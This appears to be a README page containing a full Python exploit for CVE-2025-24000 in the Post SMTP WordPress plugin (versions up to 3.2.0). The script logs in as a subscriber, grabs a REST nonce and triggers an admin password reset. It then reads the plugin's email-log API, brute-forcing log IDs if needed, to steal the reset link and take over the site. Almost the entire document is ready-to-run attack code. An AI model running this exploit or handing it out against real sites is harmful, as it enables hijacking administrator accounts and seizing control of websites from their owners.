README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2025-24000 - Post SMTP <= 3.2.0 Privilege Escalation
# Subscriber -> Admin via email log access
import requests
import argparse
import re
import sys
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
def banner():
print("""
( ) ) ) ( ( ) ) ) ) )
)\ ( ( ( ( /( ( /( ( /( )\))( ( /( ( /( ( /( ( /( ( /(
(((_) )\ )\ )\ ___ )(_)))\()) )(_))((_)()\ ___ )(_)) )\()) )\()) )\()) )\())
)\___ ((_)((_)((_)|___|((_) ((_)\ ((_) (()((_)|___|((_) ((_)\ ((_)\ ((_)\ ((_)\
((/ __|\ \ / / | __| |_ )/ (_)|_ ) | __| |_ )| | (_)/ (_)/ (_)/ (_)
| (__ \ V / | _| / /| () | / / |__ \ / / |_ _|| () || () || () |
\___| \_/ |___| /___|\__/ /___| |___/ /___| |_| \__/ \__/ \__/
Post SMTP <= 3.2.0 | Subscriber -> Admin | CVE-2025-24000
""")
def login(session, base_url, username, password):
print(f"[*] Logging in as {username}...")
login_url = urljoin(base_url, "wp-login.php")
session.get(login_url) # get initial cookies
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": urljoin(base_url, "wp-admin/"),
"testcookie": "1"
}
headers = {"Cookie": "wordpress_test_cookie=WP+Cookie+check"}
resp = session.post(login_url, data=data, headers=headers, allow_redirects=True)
logged_in = any("wordpress_logged_in" in c.name for c in session.cookies)
if not logged_in:
print("[-] Login failed. Check credentials.")
sys.exit(1)
print(f"[+] Logged in successfully as {username}")
return session
def get_nonce(session, base_url):
print("[*] Fetching WP REST nonce from wp-admin...")
resp = session.get(urljoin(base_url, "wp-admin/"))
matches = re.findall(r'"nonce":"([a-f0-9]+)"', resp.text)
if not matches:
print("[-] Could not find nonce in wp-admin page.")
sys.exit(1)
nonce = matches[0]
print(f"[+] Got nonce: {nonce}")
return nonce
def trigger_password_reset(session, base_url, admin_email):
print(f"[*] Triggering password reset for: {admin_email}")
reset_url = urljoin(base_url, "wp-login.php?action=lostpassword")
data = {
"user_login": admin_email,
"redirect_to": "",
"wp-submit": "Get New Password"
}
resp = session.post(reset_url, data=data)
if "check your email" in resp.text.lower() or resp.status_code == 200:
print("[+] Password reset triggered.")
else:
print("[!] Reset may have failed, continuing anyway...")
def get_logs(session, base_url, nonce):
print("[*] Fetching email logs...")
logs_url = urljoin(base_url, "wp-json/psd/v1/get-logs")
headers = {"X-WP-Nonce": nonce}
resp = session.get(logs_url, headers=headers)
if resp.status_code == 403 or "Auth token missing" in resp.text:
print("[-] Access denied to logs endpoint.")
sys.exit(1)
try:
data = resp.json()
print(f"[+] Got logs response.")
return data
except Exception:
print(f"[-] Failed to parse logs response: {resp.text[:200]}")
sys.exit(1)
def get_email_ids(logs_data):
ids = []
# Handle various response structures
if isinstance(logs_data, list):
for entry in logs_data:
if isinstance(entry, dict) and "id" in entry:
ids.append(entry["id"])
elif isinstance(logs_data, dict):
entries = logs_data.get("data", logs_data.get("logs", logs_data.get("emails", [])))
if isinstance(entries, list):
for entry in entries:
if isinstance(entry, dict) and "id" in entry:
ids.append(entry["id"])
return ids
def get_email_detail(session, base_url, nonce, email_id):
detail_url = urljoin(base_url, f"wp-json/psd/v1/get-details?id={email_id}&type=show_view")
headers = {"X-WP-Nonce": nonce}
resp = session.get(detail_url, headers=headers)
try:
return resp.json()
except Exception:
return {"raw": resp.text}
def extract_reset_link(text):
pattern = r'https?://[^\s\'"<>]+action=rp[^\s\'"<>]+'
matches = re.findall(pattern, str(text))
return matches[0] if matches else None
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2025-24000 Post SMTP exploit")
parser.add_argument("--url", required=True, help="Base WordPress URL (e.g. http://samurai.local/samurai/)")
parser.add_argument("--username", required=True, help="Subscriber username")
parser.add_argument("--password", required=True, help="Subscriber password")
parser.add_argument("--email", required=True, help="Admin email or username to reset")
args = parser.parse_args()
base_url = args.url.rstrip("/") + "/"
session = requests.Session()
session.verify = False
# Step 1: Login as subscriber
login(session, base_url, args.username, args.password)
# Step 2: Get nonce
nonce = get_nonce(session, base_url)
# Step 3: Trigger admin password reset
trigger_password_reset(session, base_url, args.email)
# Step 4: Dump logs
logs = get_logs(session, base_url, nonce)
# Step 5: Try to find reset link in logs directly
reset_link = extract_reset_link(logs)
if not reset_link:
# Step 6: Get individual email details
ids = get_email_ids(logs)
if not ids:
# Fallback: try IDs 1-20
print("[*] No IDs found in logs, brute-forcing IDs 1-20...")
ids = list(range(1, 21))
print(f"[*] Checking {len(ids)} email(s) for reset link...")
for eid in ids:
detail = get_email_detail(session, base_url, nonce, eid)
reset_link = extract_reset_link(detail)
if reset_link:
break
if reset_link:
print(f"\n[+] RESET LINK FOUND:\n {reset_link}")
print(f"\n[*] Visit the link above to set a new admin password and take over the site.")
else:
print("[-] Could not find reset link. Try increasing the ID range or check the logs manually.")
print(f"[*] Raw logs: {str(logs)[:500]}")
if __name__ == "__main__":
main()